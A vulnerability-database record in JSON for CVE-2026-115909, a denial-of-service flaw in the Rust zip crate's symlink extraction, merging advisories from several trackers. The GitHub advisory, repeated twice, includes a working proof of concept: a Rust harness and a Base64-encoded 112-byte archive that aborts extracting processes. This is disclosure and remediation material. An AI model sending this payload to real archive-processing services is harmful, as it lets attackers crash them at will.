{"id":"CVE-2026-115909","aliases":["AZL-112211","AZL-112220","DEBIAN-CVE-2026-115909","EUVD-2026-109987","GHSA-q7v9-x93c-xqv3","RUSTSEC-2026-0429","SUSE-SU-2026:4930-1","SUSE-SU-2026:4931-1","UBUNTU-CVE-2026-115909","openSUSE-SU-2026:22249-1"],"status":"published","title":"zip: Unbounded Symlink-Target Handling Can Abort Or Exhaust Memory During Extraction","description":"zip is a zip library for Rust that supports reading and writing simple ZIP files. From 1.3.0 until 9.0.0, ZipArchive::extract in src/read/mod.rs calls Vec::with_capacity for a symbolic link target using the attacker-controlled ZIP64 uncompressed_size before reading entry data. A small archive can request an impossible capacity, causing the infallible allocation path to abort the process before the entry is validated. The failure cannot be contained with catch_unwind or a worker thread, allowing repeated denial of service in archive-processing applications. This issue is fixed in version 9.0.0.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00461,"percentile":0.4044,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-400","CWE-789"],"published":"2026-10-22T12:00:00Z","modified":"2026-11-11T17:27:06Z","fixes":[{"ecosystem":"crates.io","package":"zip","fixed_in":["9.0.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"crates.io","package":"zip","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.0"},{"fixed":"9.0.0"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"rust","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.75.0-31"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"rust","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.85.0"},{"last_affected":"1.98.1-1"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"rust-zip","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.6.3-3","0.6.6-1","0.6.6-2","0.6.6-3","0.6.6-4","0.6.6-5","2.5.0-1","5.1.1+dfsg-1","5.1.1-1","5.1.1-2","5.1.1-3","5.1.1-4"]},{"source":"osv","ecosystem":"Debian:13","package":"rust-zip","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.5.0-1","5.1.1+dfsg-1","5.1.1-1","5.1.1-2","5.1.1-3","5.1.1-4"]},{"source":"osv","ecosystem":"Debian:14","package":"rust-zip","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.5.0-1","5.1.1+dfsg-1","5.1.1-1","5.1.1-2","5.1.1-3","5.1.1-4"]},{"source":"osv","ecosystem":"crates.io","package":"zip","ranges":[{"type":"SEMVER","events":[{"introduced":"1.3.0"},{"fixed":"9.0.0"}]}]},{"source":"osv","ecosystem":"crates.io","package":"zip","ranges":[{"type":"SEMVER","events":[{"introduced":"0.0.0-0"},{"fixed":"9.0.0"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Micro 5.4","package":"rust-keylime","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.2.10+12-150400.3.22.1"}]}],"bundled":5},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Micro 5.5","package":"rust-keylime","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.2.10+12-150500.3.22.1"}]}],"bundled":5},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"rust-zip","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["5.1.1-3","5.1.1+dfsg-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"rust-zip","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.5.0-1","5.1.1-2","5.1.1-3"]},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"rust-keylime","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.2.10+12-160000.1.1"}]}],"bundled":5}],"products":[{"vendor":"zip-rs","product":"zip2"}],"references":[{"url":"https://github.com/zip-rs/zip2/security/advisories/GHSA-q7v9-x93c-xqv3","tags":["x_refsource_CONFIRM","advisory","web"]},{"url":"https://github.com/zip-rs/zip2/pull/984","tags":["x_refsource_MISC","fix","web","report"]},{"url":"https://github.com/zip-rs/zip2/commit/a543a1fc8f3f3eef36f27bb137230295284cdb98","tags":["x_refsource_MISC","fix","web","report"]},{"url":"https://github.com/zip-rs/zip2/releases/tag/v9.0.0","tags":["x_refsource_MISC","web","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115909","tags":["web","advisory"]},{"url":"https://github.com/advisories/GHSA-q7v9-x93c-xqv3"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/115xxx/CVE-2026-115909.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-115909","tags":["advisory"]},{"url":"https://github.com/zip-rs/zip2","tags":["package"]},{"url":"https://crates.io/crates/zip","tags":["package"]},{"url":"https://rustsec.org/advisories/RUSTSEC-2026-0429.html","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20264930-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1287921","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-115905","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-115906","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-115907","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-115908","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-115909","tags":["web"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20264931-1/","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2026-115909","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-115909","tags":["report"]},{"url":"https://github.com/zip-rs/zip2/security/advisories/ghsa-q7v9-x93c-xqv3","tags":["report"]},{"url":"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1152227","tags":["report"]},{"url":"https://security-tracker.debian.org/tracker/cve-2026-115909","tags":["report"]},{"url":"https://github.com/cveproject/cvelistv5/tree/main/cves/2026/115xxx/cve-2026-115909.json","tags":["report"]},{"url":"https://nvd.nist.gov/vuln/detail/cve-2026-115909","tags":["report"]},{"url":"","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2026-115909","title":"zip: Unbounded Symlink-Target Handling Can Abort Or Exhaust Memory During Extraction","description":"zip is a zip library for Rust that supports reading and writing simple ZIP files. From 1.3.0 until 9.0.0, ZipArchive::extract in src/read/mod.rs calls Vec::with_capacity for a symbolic link target using the attacker-controlled ZIP64 uncompressed_size before reading entry data. A small archive can request an impossible capacity, causing the infallible allocation path to abort the process before the entry is validated. The failure cannot be contained with catch_unwind or a worker thread, allowing repeated denial of service in archive-processing applications. This issue is fixed in version 9.0.0.","status":"published","published":"2026-10-26T16:39:00.037Z","modified":"2026-10-26T19:48:35.352Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-400","CWE-789"],"updated_at":"2026-11-02T14:20:01.618694Z"}],"euvd":[{"id":"EUVD-2026-109987","description":"zip is a zip library for Rust that supports reading and writing simple ZIP files. From 1.3.0 until 9.0.0, ZipArchive::extract in src/read/mod.rs calls Vec::with_capacity for a symbolic link target using the attacker-controlled ZIP64 uncompressed_size before reading entry data. A small archive can request an impossible capacity, causing the infallible allocation path to abort the process before the entry is validated. The failure cannot be contained with catch_unwind or a worker thread, allowing repeated denial of service in archive-processing applications. This issue is fixed in version 9.0.0.","status":"published","published":"2026-10-26T16:39:00Z","modified":"2026-10-26T19:48:35Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T16:59:28.357127Z"}],"ghsa":[{"id":"GHSA-q7v9-x93c-xqv3","title":"zip: Unbounded Symlink-Target Handling Can Abort Or Exhaust Memory During Extraction","description":"### Summary\n\nThe symbolic-link branch of `ZipArchive::extract_internal()` allocates a buffer using an attacker-declared size before reading any entry data. A 112-byte archive terminates the extracting process with `SIGABRT` through this infallible allocation.\n\n### Details\n\n```rust\n#[cfg(any(unix, windows))]\nif file.is_symlink() {\n    let mut target = Vec::with_capacity(file.size() as usize); // @audit unbounded memory allocation\n    file.read_to_end(\u0026mut target)?;\n    drop(file);\n    make_symlink(\u0026outpath, \u0026target, \u0026self.shared.files)?;\n    continue;\n}\n```\n\n[`src/read/mod.rs#L399-L405`](https://github.com/zip-rs/zip2/blob/6f09b3064ec87c3a69ea9f3413f9f9638b4aa446/src/read/mod.rs#L399-L405) (reviewed commit `6f09b306`); the same code is at [`src/read.rs#L417-L418`](https://github.com/zip-rs/zip2/blob/v8.6.0/src/read.rs#L417-L418) in released v8.6.0.\n\nBoth inputs are attacker-controlled:\n\n- [`ZipFile::size()`](https://github.com/zip-rs/zip2/blob/6f09b3064ec87c3a69ea9f3413f9f9638b4aa446/src/read/zipfile.rs#L243-L246) returns `uncompressed_size` verbatim from the central directory record. A ZIP64 extended-information extra field widens it to a full `u64` ([`src/read/mod.rs#L619-L625`](https://github.com/zip-rs/zip2/blob/6f09b3064ec87c3a69ea9f3413f9f9638b4aa446/src/read/mod.rs#L619-L625)). It is never cross-checked against the compressed size, the remaining archive length, or any platform-appropriate bound for a symlink target.\n- [`ZipFile::is_symlink()`](https://github.com/zip-rs/zip2/blob/6f09b3064ec87c3a69ea9f3413f9f9638b4aa446/src/read/zipfile.rs#L256-L260) is decided entirely by the central directory's external-attributes field, via the `S_IFLNK` bit.\n\n**Memory allocation failure → uncatchable process abort.** The reservation is sized from the declared `uncompressed_size` before a single byte of the entry is read. `Vec::with_capacity()` is infallible: on allocator refusal it calls `handle_alloc_error()`, which aborts the process. This is not a Rust panic — it is not caught by `catch_unwind()`, is unaffected by `panic = \"unwind\"`, and is not contained by isolating the call in a worker thread. This was verified by wrapping the call in all three at once; the process still died with exit 134.\n\nThe declared value needed is a property of the host's address space, not of reachability. On a 64 GB host with heuristic overcommit, declared sizes from roughly `2^38` upward abort reliably. Sizes at or above `2^63` instead trip `Vec`'s internal capacity check and produce a *catchable* `capacity overflow` panic, so an attacker simply avoids that band. The reproducer declares `2^62`, which exceeds the 47-bit user address space of x86-64 Linux outright and therefore aborts deterministically regardless of installed RAM or overcommit policy. Under a `ulimit -v` cap or a memory-constrained container the threshold drops far enough that a plain 32-bit `uncompressed_size` with no ZIP64 field suffices — a virtual-memory limit lowers the bar rather than mitigating the defect.\n\nThis is process termination, not memory exhaustion: `Vec::with_capacity()` only maps address space and never touches pages, so resident memory stays flat and the abort happens on the refused reservation itself, before any byte is read.\n\n### PoC\n\nThe reproducer consists of the following `zip` harness and payload. It requires only the `zip` crate; use a standard Base64 decoder to materialise the archive before running it.\n\n```toml\n[package]\nname = \"zip-poc\"\nversion = \"0.1.0\"\nedition = \"2021\"\n\n[dependencies]\nzip = \"8.6.0\"\n```\n\n```rust\nuse std::{env, fs::File, io::BufReader};\n\nfn main() {\n    let archive_path = env::args().nth(1).expect(\"usage: poc \u003carchive.zip\u003e\");\n    let outdir = std::env::temp_dir().join(\"zip-poc\");\n    std::fs::create_dir_all(\u0026outdir).unwrap();\n\n    let file = File::open(archive_path).unwrap();\n    let mut archive = zip::ZipArchive::new(BufReader::new(file)).unwrap();\n    let r = archive.extract(\u0026outdir);            // \u003c-- process dies here\n    println!(\"SURVIVED: {:?}\", r);\n}\n```\n\nSave the Base64 payload below as `archive.b64`, remove its whitespace, decode it with a standard Base64 decoder (for example, `base64 -d archive.b64 \u003e archive.zip` on Linux), and run `cargo run --release -- archive.zip`.\n\n**Uncatchable abort — 112 bytes.** One `Stored` entry named `a`; external attributes `0xA1FF0000` (`S_IFLNK|0777`); ZIP64 extra field declaring `uncompressed_size = 2^62`; zero-byte payload. sha256 `0c68c3934f22651a6bd2726f7d58140124b1839196a1d0ae468864cdfda74676`.\n\n```\nUEsDBC0AAAAAAAAAAAAAAAAAAAAAAP////8BAAAAYVBLAQItAy0AAAAAAAAAAAAAAAAAAAAAAP//\n//8BAAwAAAAAAAAAAAD/oQAAAABhAQAIAAAAAAAAAABAUEsFBgAAAAABAAEAOwAAAB8AAAAAAA==\n```\n\nObserved on x86-64 Linux, rustc 1.93.1, release profile, against both the reviewed commit and released v8.6.0:\n\n```\nentries=1\nmemory allocation of 4611686018427387904 bytes failed\nAborted (core dumped)          # exit 134\n```\n\nThe `SURVIVED` line never prints. Wrapping `extract()` in `catch_unwind` inside a spawned thread with `panic = \"unwind\"` produces the identical outcome.\n\n### Impact\n\nApplications running on Unix or Windows targets that call `ZipArchive::extract()` on attacker-supplied input are affected, with default features and no special configuration. The malicious 112-byte archive causes an unrecoverable, uncatchable termination of the extracting process, repeatable at will and not mitigable at the call site with `catch_unwind`, a worker thread, or a pre-flight metadata check.\n\nUpload handling, mail-attachment processing, package and artefact ingestion, backup restore and container-image layer extraction all match this pattern. No confidentiality or integrity property is affected: no memory unsafety, no out-of-bounds access, no disclosure and no data corruption.\n\n### Suggested remediation\n\nBefore allocating, compare `file.size()` with a documented, platform-appropriate maximum symlink-target length and reject entries that exceed it. Alternatively, replace `Vec::with_capacity()` with fallible `try_reserve()` and return an I/O error when allocation fails. Do not use Linux's `PATH_MAX` as a cross-platform contract.\n\nApply the allocation fix to `src/read/stream.rs` as defence-in-depth, although its symlink path is currently unreachable because streaming entries have no symlink attributes.\n\nFor reference, the crate already applies exactly this defence to another untrusted size on the same path: `ZipArchive::new()` clamps a suspicious `number_of_files` to zero and explicitly rejects an oversized central directory before reserving ([`src/read/zip_archive.rs#L185-L202`](https://github.com/zip-rs/zip2/blob/6f09b3064ec87c3a69ea9f3413f9f9638b4aa446/src/read/zip_archive.rs#L185-L202)). The symlink branch received neither guard. A survey of `Vec::with_capacity` across `src/` finds exactly two sites sized from untrusted input: `src/read/mod.rs:401` and `src/read/stream.rs:73`.","status":"published","published":"2026-10-29T16:40:01Z","modified":"2026-10-29T16:40:04Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400","CWE-789"],"updated_at":"2026-11-02T14:41:41.028239Z"}],"nvd":[{"id":"CVE-2026-115909","description":"zip is a zip library for Rust that supports reading and writing simple ZIP files. From 1.3.0 until 9.0.0, ZipArchive::extract in src/read/mod.rs calls Vec::with_capacity for a symbolic link target using the attacker-controlled ZIP64 uncompressed_size before reading entry data. A small archive can request an impossible capacity, causing the infallible allocation path to abort the process before the entry is validated. The failure cannot be contained with catch_unwind or a worker thread, allowing repeated denial of service in archive-processing applications. This issue is fixed in version 9.0.0.","status":"published","published":"2026-10-26T17:17:18.45Z","modified":"2026-10-26T20:17:51.68Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-400","CWE-789"],"updated_at":"2026-11-02T14:13:03.452847Z"}],"osv":[{"id":"CVE-2026-115909","title":"zip: Unbounded Symlink-Target Handling Can Abort Or Exhaust Memory During Extraction","description":"zip is a zip library for Rust that supports reading and writing simple ZIP files. From 1.3.0 until 9.0.0, ZipArchive::extract in src/read/mod.rs calls Vec::with_capacity for a symbolic link target using the attacker-controlled ZIP64 uncompressed_size before reading entry data. A small archive can request an impossible capacity, causing the infallible allocation path to abort the process before the entry is validated. The failure cannot be contained with catch_unwind or a worker thread, allowing repeated denial of service in archive-processing applications. This issue is fixed in version 9.0.0.","status":"published","published":"2026-10-26T16:39:00.037Z","modified":"2026-11-11T17:27:06.632047621Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400","CWE-789"],"updated_at":"2026-11-11T17:46:38.239173Z"},{"id":"DEBIAN-CVE-2026-115909","description":"zip is a zip library for Rust that supports reading and writing simple ZIP files. From 1.3.0 until 9.0.0, ZipArchive::extract in src/read/mod.rs calls Vec::with_capacity for a symbolic link target using the attacker-controlled ZIP64 uncompressed_size before reading entry data. A small archive can request an impossible capacity, causing the infallible allocation path to abort the process before the entry is validated. The failure cannot be contained with catch_unwind or a worker thread, allowing repeated denial of service in archive-processing applications. This issue is fixed in version 9.0.0.","status":"published","published":"2026-10-26T17:17:18.45Z","modified":"2026-10-27T05:00:07.430496141Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:45:50.923612Z"},{"id":"GHSA-q7v9-x93c-xqv3","title":"zip: Unbounded Symlink-Target Handling Can Abort Or Exhaust Memory During Extraction","description":"### Summary\n\nThe symbolic-link branch of `ZipArchive::extract_internal()` allocates a buffer using an attacker-declared size before reading any entry data. A 112-byte archive terminates the extracting process with `SIGABRT` through this infallible allocation.\n\n### Details\n\n```rust\n#[cfg(any(unix, windows))]\nif file.is_symlink() {\n    let mut target = Vec::with_capacity(file.size() as usize); // @audit unbounded memory allocation\n    file.read_to_end(\u0026mut target)?;\n    drop(file);\n    make_symlink(\u0026outpath, \u0026target, \u0026self.shared.files)?;\n    continue;\n}\n```\n\n[`src/read/mod.rs#L399-L405`](https://github.com/zip-rs/zip2/blob/6f09b3064ec87c3a69ea9f3413f9f9638b4aa446/src/read/mod.rs#L399-L405) (reviewed commit `6f09b306`); the same code is at [`src/read.rs#L417-L418`](https://github.com/zip-rs/zip2/blob/v8.6.0/src/read.rs#L417-L418) in released v8.6.0.\n\nBoth inputs are attacker-controlled:\n\n- [`ZipFile::size()`](https://github.com/zip-rs/zip2/blob/6f09b3064ec87c3a69ea9f3413f9f9638b4aa446/src/read/zipfile.rs#L243-L246) returns `uncompressed_size` verbatim from the central directory record. A ZIP64 extended-information extra field widens it to a full `u64` ([`src/read/mod.rs#L619-L625`](https://github.com/zip-rs/zip2/blob/6f09b3064ec87c3a69ea9f3413f9f9638b4aa446/src/read/mod.rs#L619-L625)). It is never cross-checked against the compressed size, the remaining archive length, or any platform-appropriate bound for a symlink target.\n- [`ZipFile::is_symlink()`](https://github.com/zip-rs/zip2/blob/6f09b3064ec87c3a69ea9f3413f9f9638b4aa446/src/read/zipfile.rs#L256-L260) is decided entirely by the central directory's external-attributes field, via the `S_IFLNK` bit.\n\n**Memory allocation failure → uncatchable process abort.** The reservation is sized from the declared `uncompressed_size` before a single byte of the entry is read. `Vec::with_capacity()` is infallible: on allocator refusal it calls `handle_alloc_error()`, which aborts the process. This is not a Rust panic — it is not caught by `catch_unwind()`, is unaffected by `panic = \"unwind\"`, and is not contained by isolating the call in a worker thread. This was verified by wrapping the call in all three at once; the process still died with exit 134.\n\nThe declared value needed is a property of the host's address space, not of reachability. On a 64 GB host with heuristic overcommit, declared sizes from roughly `2^38` upward abort reliably. Sizes at or above `2^63` instead trip `Vec`'s internal capacity check and produce a *catchable* `capacity overflow` panic, so an attacker simply avoids that band. The reproducer declares `2^62`, which exceeds the 47-bit user address space of x86-64 Linux outright and therefore aborts deterministically regardless of installed RAM or overcommit policy. Under a `ulimit -v` cap or a memory-constrained container the threshold drops far enough that a plain 32-bit `uncompressed_size` with no ZIP64 field suffices — a virtual-memory limit lowers the bar rather than mitigating the defect.\n\nThis is process termination, not memory exhaustion: `Vec::with_capacity()` only maps address space and never touches pages, so resident memory stays flat and the abort happens on the refused reservation itself, before any byte is read.\n\n### PoC\n\nThe reproducer consists of the following `zip` harness and payload. It requires only the `zip` crate; use a standard Base64 decoder to materialise the archive before running it.\n\n```toml\n[package]\nname = \"zip-poc\"\nversion = \"0.1.0\"\nedition = \"2021\"\n\n[dependencies]\nzip = \"8.6.0\"\n```\n\n```rust\nuse std::{env, fs::File, io::BufReader};\n\nfn main() {\n    let archive_path = env::args().nth(1).expect(\"usage: poc \u003carchive.zip\u003e\");\n    let outdir = std::env::temp_dir().join(\"zip-poc\");\n    std::fs::create_dir_all(\u0026outdir).unwrap();\n\n    let file = File::open(archive_path).unwrap();\n    let mut archive = zip::ZipArchive::new(BufReader::new(file)).unwrap();\n    let r = archive.extract(\u0026outdir);            // \u003c-- process dies here\n    println!(\"SURVIVED: {:?}\", r);\n}\n```\n\nSave the Base64 payload below as `archive.b64`, remove its whitespace, decode it with a standard Base64 decoder (for example, `base64 -d archive.b64 \u003e archive.zip` on Linux), and run `cargo run --release -- archive.zip`.\n\n**Uncatchable abort — 112 bytes.** One `Stored` entry named `a`; external attributes `0xA1FF0000` (`S_IFLNK|0777`); ZIP64 extra field declaring `uncompressed_size = 2^62`; zero-byte payload. sha256 `0c68c3934f22651a6bd2726f7d58140124b1839196a1d0ae468864cdfda74676`.\n\n```\nUEsDBC0AAAAAAAAAAAAAAAAAAAAAAP////8BAAAAYVBLAQItAy0AAAAAAAAAAAAAAAAAAAAAAP//\n//8BAAwAAAAAAAAAAAD/oQAAAABhAQAIAAAAAAAAAABAUEsFBgAAAAABAAEAOwAAAB8AAAAAAA==\n```\n\nObserved on x86-64 Linux, rustc 1.93.1, release profile, against both the reviewed commit and released v8.6.0:\n\n```\nentries=1\nmemory allocation of 4611686018427387904 bytes failed\nAborted (core dumped)          # exit 134\n```\n\nThe `SURVIVED` line never prints. Wrapping `extract()` in `catch_unwind` inside a spawned thread with `panic = \"unwind\"` produces the identical outcome.\n\n### Impact\n\nApplications running on Unix or Windows targets that call `ZipArchive::extract()` on attacker-supplied input are affected, with default features and no special configuration. The malicious 112-byte archive causes an unrecoverable, uncatchable termination of the extracting process, repeatable at will and not mitigable at the call site with `catch_unwind`, a worker thread, or a pre-flight metadata check.\n\nUpload handling, mail-attachment processing, package and artefact ingestion, backup restore and container-image layer extraction all match this pattern. No confidentiality or integrity property is affected: no memory unsafety, no out-of-bounds access, no disclosure and no data corruption.\n\n### Suggested remediation\n\nBefore allocating, compare `file.size()` with a documented, platform-appropriate maximum symlink-target length and reject entries that exceed it. Alternatively, replace `Vec::with_capacity()` with fallible `try_reserve()` and return an I/O error when allocation fails. Do not use Linux's `PATH_MAX` as a cross-platform contract.\n\nApply the allocation fix to `src/read/stream.rs` as defence-in-depth, although its symlink path is currently unreachable because streaming entries have no symlink attributes.\n\nFor reference, the crate already applies exactly this defence to another untrusted size on the same path: `ZipArchive::new()` clamps a suspicious `number_of_files` to zero and explicitly rejects an oversized central directory before reserving ([`src/read/zip_archive.rs#L185-L202`](https://github.com/zip-rs/zip2/blob/6f09b3064ec87c3a69ea9f3413f9f9638b4aa446/src/read/zip_archive.rs#L185-L202)). The symlink branch received neither guard. A survey of `Vec::with_capacity` across `src/` finds exactly two sites sized from untrusted input: `src/read/mod.rs:401` and `src/read/stream.rs:73`.","status":"published","published":"2026-10-29T16:40:01Z","modified":"2026-11-02T10:10:53.649189132Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400","CWE-789"],"updated_at":"2026-11-02T15:46:54.055966Z"},{"id":"RUSTSEC-2026-0429","title":"zip: `ZipArchive::extract` aborts the process on a symlink entry with a large declared size","description":"`ZipArchive::extract()` sizes the symlink-target buffer from the uncompressed\nsize declared in the central directory record, before reading a single byte of\nentry data:\n\n```rust\nlet mut target = Vec::with_capacity(file.size() as usize);\n```\n\nBoth inputs are attacker-controlled. `ZipFile::size()` returns\n`uncompressed_size` verbatim from the central directory, widened to a full `u64`\nby a ZIP64 extended-information extra field, and is never cross-checked against\nthe compressed size, the remaining archive length, or any platform-appropriate\nbound for a symlink target. `ZipFile::is_symlink()` is decided entirely by the\n`S_IFLNK` bit of the external-attributes field.\n\n`Vec::with_capacity()` is infallible: when the reservation is refused it calls\n`handle_alloc_error()` and aborts the process. This is not a Rust panic. It is\nnot caught by `catch_unwind()`, is unaffected by `panic = \"unwind\"`, and is not\ncontained by running the call on a worker thread.\n\nA 112-byte archive is sufficient. One `Stored` entry flagged `S_IFLNK` with a\nZIP64 field declaring `uncompressed_size = 2^62` and a zero-byte payload makes\n`extract()` fail with:\n\n```\nmemory allocation of 4611686018427387904 bytes failed\nAborted (core dumped)          # exit 134\n```\n\nThe declared value only needs to exceed the host's address space, not its RAM:\n`Vec::with_capacity()` maps address space without touching pages, so resident\nmemory stays flat and the abort happens on the refused reservation itself. Under\na `ulimit -v` cap or a memory-constrained container the threshold drops far\nenough that a plain 32-bit `uncompressed_size` with no ZIP64 field suffices.\n\nApplications that extract archives from untrusted input are affected on Unix and\nWindows targets with default features and no special configuration: upload\nhandling, mail-attachment processing, package and artefact ingestion, backup\nrestore and container-image layer extraction. No confidentiality or integrity\nproperty is affected: there is no memory unsafety, no out-of-bounds access, no\ndisclosure and no data corruption.\n\nThe fix landed in [zip-rs/zip2#984](https://github.com/zip-rs/zip2/pull/984) and\nshipped in 9.0.0.\n\nFor further details see: https://github.com/zip-rs/zip2/security/advisories/GHSA-q7v9-x93c-xqv3","status":"published","published":"2026-10-22T12:00:00Z","modified":"2026-11-02T10:00:02.471399952Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:40.430679Z"},{"id":"UBUNTU-CVE-2026-115909","description":"zip is a zip library for Rust that supports reading and writing simple ZIP files. From 1.3.0 until 9.0.0, ZipArchive::extract in src/read/mod.rs calls Vec::with_capacity for a symbolic link target using the attacker-controlled ZIP64 uncompressed_size before reading entry data. A small archive can request an impossible capacity, causing the infallible allocation path to abort the process before the entry is validated. The failure cannot be contained with catch_unwind or a worker thread, allowing repeated denial of service in archive-processing applications. This issue is fixed in version 9.0.0.","status":"published","published":"2026-10-26T17:17:00Z","modified":"2026-11-04T20:03:34.162943243Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-04T21:44:25.758797Z"},{"id":"AZL-112211","title":"CVE-2026-115909 affecting package rust 1.75.0-31","description":"zip is a zip library for Rust that supports reading and writing simple ZIP files. From 1.3.0 until 9.0.0, ZipArchive::extract in src/read/mod.rs calls Vec::with_capacity for a symbolic link target using the attacker-controlled ZIP64 uncompressed_size before reading entry data. A small archive can request an impossible capacity, causing the infallible allocation path to abort the process before the entry is validated. The failure cannot be contained with catch_unwind or a worker thread, allowing repeated denial of service in archive-processing applications. This issue is fixed in version 9.0.0.","status":"published","published":"2026-10-26T17:17:18Z","modified":"2026-11-03T05:33:06Z","updated_at":"2026-11-05T16:41:19.001909Z"},{"id":"AZL-112220","title":"CVE-2026-115909 affecting package rust 1.98.1-1","description":"zip is a zip library for Rust that supports reading and writing simple ZIP files. From 1.3.0 until 9.0.0, ZipArchive::extract in src/read/mod.rs calls Vec::with_capacity for a symbolic link target using the attacker-controlled ZIP64 uncompressed_size before reading entry data. A small archive can request an impossible capacity, causing the infallible allocation path to abort the process before the entry is validated. The failure cannot be contained with catch_unwind or a worker thread, allowing repeated denial of service in archive-processing applications. This issue is fixed in version 9.0.0.","status":"published","published":"2026-10-26T17:17:18Z","modified":"2026-11-05T05:40:51Z","updated_at":"2026-11-05T16:41:19.001909Z"},{"id":"openSUSE-SU-2026:22249-1","title":"Security update for rust-keylime","description":"This update for rust-keylime fixes the following issue:\n\n- CVE-2026-115905: zip: security control bypass via parser differential between central directory and local headers\n  (bsc#1287921)\n- CVE-2026-115906: zip: authentication bypass in AES encrypted entries due to improper HMAC verification (bsc#1287921)\n- CVE-2026-115907: zip: denial of service via unbounded memory allocation in legacy decoders (bsc#1287921)\n- CVE-2026-115908: zip: path traversal via lexical symlink validation during extraction (bsc#1287921)\n- CVE-2026-115909: zip: denial of service via uncontrolled memory allocation on symlink targets (bsc#1287921)\n","status":"published","published":"2026-11-06T13:46:57Z","modified":"2026-11-11T17:23:13.169201446Z","updated_at":"2026-11-11T17:47:15.466074Z"},{"id":"SUSE-SU-2026:4930-1","title":"Security update for rust-keylime","description":"This update for rust-keylime fixes the following issue:\n\n- CVE-2026-115905: zip: security control bypass via parser differential between central directory and local headers\n  (bsc#1287921)\n- CVE-2026-115906: zip: authentication bypass in AES encrypted entries due to improper HMAC verification (bsc#1287921)\n- CVE-2026-115907: zip: denial of service via unbounded memory allocation in legacy decoders (bsc#1287921)\n- CVE-2026-115908: zip: path traversal via lexical symlink validation during extraction (bsc#1287921)\n- CVE-2026-115909: zip: denial of service via uncontrolled memory allocation on symlink targets (bsc#1287921)\n\nChanges for rust-keylime:\n\n- Update to version 0.2.10+12:\n * log Agent UUID at push agent startup\n * Limit actix-web workers\n * Fix clippy needless_late_init warnings\n * Unwrap OCTET STRING wrapped EK certificates\n * build(deps): bump rand from 0.9.4 to 0.10.1\n * build(deps): bump glob from 0.3.3 to 0.3.4\n * build(deps): bump reqwest from 0.13.3 to 0.13.4\n * Check shutdown marker inside ml_extend loop\n * Fix clippy useless_borrows_in_formatting warnings\n * build(deps): bump tokio from 1.52.2 to 1.53.1\n * Fix payload key upgrade regression by falling back to mTLS key\n * 